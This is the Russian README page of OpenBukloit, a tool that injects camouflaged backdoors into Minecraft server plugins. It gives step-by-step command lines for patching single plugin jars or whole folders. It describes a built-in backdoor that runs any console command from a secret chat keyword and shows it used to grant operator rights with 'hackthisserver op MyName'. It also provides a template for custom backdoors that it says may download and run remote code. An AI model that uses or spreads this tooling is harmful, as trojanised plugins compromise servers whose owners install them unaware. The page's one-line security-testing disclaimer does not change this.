Skip to content

Latest commit

 

History

History
144 lines (99 loc) · 12.6 KB

File metadata and controls

144 lines (99 loc) · 12.6 KB

OpenBukloit - Инжектор бекдоров для Minecraft плагинов

Logo
Open issues GitHub downloads Code size CodeFactor Discord
Download


Языки: English, Русский, Українська

OpenBukloit — современный и мощный универсальный инжектор бекдоров, совместимый со всеми Bukkit/Spigot/Paper/и т.д. плагинами. Его особенностью является возможность интеграции с абсолютно любым плагином без необходимости каждый раз модифицировать бекдор. Более того, он обеспечивает мощный движок камуфляжа, что делает практически невозможным его поиск без достаточных знаний или продвинутых автоматизированных инструментов. OpenBukloit был разработан для тестирования систем безопасности серверов Minecraft, Команда VoxelHax не несет ответственности за его неправомерное использование.

Это продолжение проекта Bukloit, в котором мы учли все проблемы предыдущего проекта и использовали совершенно другой подход к разработке.

Возможности OpenBukloit

  • Полная поддержка Bukkit и его форков на любой версии Minecraft.
  • Поддержка пользовательских бекдоров.
  • Автоматическая загрузка JDK, поэтому вам не нужно заботиться о совместимости версии Java.
  • Мощный камуфляжный движок, усложняющий поиск бекдора в плагине.

Установка

Для использования OpenBukloit у вас должна быть установлена любая версия Java (но не ниже 8). Jar-файл OpenBukloit можно загрузить с вкладки релизов. OpenBukloit не требует никаких дополнительных действий, просто поместите файл jar куда-нибудь и используйте его из командной строки.

Использование

Чтобы запустить OpenBukloit, откройте командную строку в каталоге, где находится jar-файл OpenBukloit и введите:

java -jar OpenBukloit.jar

Убедитесь, что вы указываете номер версии после названия OpenBukloit. Например, если вы скачали версию OpenBukloit-1.0.12, обязательно используйте имя OpenBukloit-1.0.12.jar в команде, а не просто OpenBukloit.jar.

После имени файла jar вы можете передать некоторые аргументы для настройки инжектора:

Короткий аргумент Длинный аргумент Описание Тип
-e --exploit Путь к пользовательскому скомпилированному файлу .class или к файлу исходного кода .java, который будет использоваться в качестве бекдора.
По умолчанию используется встроенный бекдор.
Значение
-m --mode Режим. Может быть одиночным/множественным.
По умолчанию: multiple.
В множественном режиме изменяет все файлы в указанной папке. В одиночном - только указанный файл.
Значение
-i --input Путь к входной папке/файлу (зависит от режима).
По умолчанию: in (in.jar если режим одиночный).
Значение
-o --output Путь к выходной папке/файлу (зависит от режима).
По умолчанию: out (out.jar если режим одиночный).
Значение
-r --replace Заменять выходной файл, если он уже существует. Флаг
--no-camouflage Не использовать камуфляж (может быть полезным, если камуфляж не работает должным образом из-за обфускации плагина). Флаг
--class-name Работает только с флагом --no-camouflage! Задать кастомное название класса эксплоита (может включать название пакета, например: com.voxelhax.OpenBukloitExploit). Значение
--method-name Працює тільки з флагом --no-camouflage! Задать кастомное название для метода inject в классе эксплоита. Значение

Но этих аргументов недостаточно для запуска OpenBukloit. Вы также должны указать параметры бекдора. Поскольку OpenBukloit поддерживает внедрение пользовательских бекдоров, вы должны передать дополнительные аргументы, которые требуются для используемого бекдора.

Встроенный эксплоит

По умолчанию OpenBukloit внедряет встроенный бекдор. Это простой бекдор, который позволяет вам выполнять любые команды из консоли, написав специальное ключевое слово перед командой в чате.

Параметры встроенного бекдора:

Длинный аргумент Описание
--key Ключевое слово, запускающее выполнение консольной команды.

Использование в игре ключа, установленного на "hackthisserver":

hackthisserver op MyName

Это сообщение, отправленное в чат, будет выполнено как консольная команда и даст ОП игроку MyName.

Вот несколько примеров использования OpenBukloit со встроенным бекдором:

  1. Пропатчить все .jar файлы с ключом "#console" из папки "in" и сохранить их в папку "out" без замены.
java -jar OpenBukloit.jar -m multiple -i "in" -o "out" --key "#console"
  1. Пропатчить все файлы с ключом "hacktheserver" из папки "in" и сохранить их в папку "out" с заменой.
java -jar OpenBukloit.jar -m multiple -i "in" -o "out" --key "hacktheserver" -r
  1. Пропатчить один файл "PluginName.jar" с ключом "#console" и сохранить его как файл "Output.jar" с заменой.
java -jar OpenBukloit.jar -m single -i "PluginName.jar" -o "Output.jar" --key "#console" -r
  1. Пропатчить один файл "PluginName.jar" с ключом "#console" и сохранить его как файл "Output.jar" с заменой. Не использовать камуфляж и назвать класс эксплоита "com.voxelhax.OpenBukloitExploit".
java -jar OpenBukloit.jar -m single -i "PluginName.jar" -o "Output.jar" --key "#console" -r --no-camouflage --class-name "com.voxelhax.OpenBukloitExploit"

Написание пользовательского эксплоита

Вы также можете написать свой собственный бекдор. Это должен быть класс с методом public static void inject(JavaPlugin args) (JavaPlugin из Bukkit API).

Вот простой пример:

import org.bukkit.plugin.java.JavaPlugin;

public class MyBackdoor {
    public static void inject(JavaPlugin args) {
        System.out.println("Hello, world!");
    }
}

Метод inject будет выполнен после метода onEnable плагина. Вы можете делать здесь все, что хотите, включая загрузку и запуск произвольного кода из Интернета.

Но вы должны знать, что есть некоторые ограничения:

  • В настоящее время вы не можете использовать вложенные классы, в файле эксплоита должен быть только один класс.
  • Вы не должны ссылаться на свой класс эксплоита внутри него, например, использовать его как параметры метода, как возвращаемое значение или как тип поля.

Вы можете использовать внешние параметры из командной строки, используя %плейсхолдеры%, они будут подставлены в процессе инжекта:

import org.bukkit.plugin.java.JavaPlugin;

public class MyBackdoor {
    public static void inject(JavaPlugin args) {
        System.out.println("Hello, %name%!");
    }
}

Затем вы можете заинжектить бекдор с помощью команды:

java -jar OpenBukloit.jar -e MyBackdoor.java --name world

Обратите внимание, что мы можем передать наш бекдор в OpenBukloit без компиляции, и он автоматически скомпилирует его с наличием API Spigot в пуле классов во время компиляции.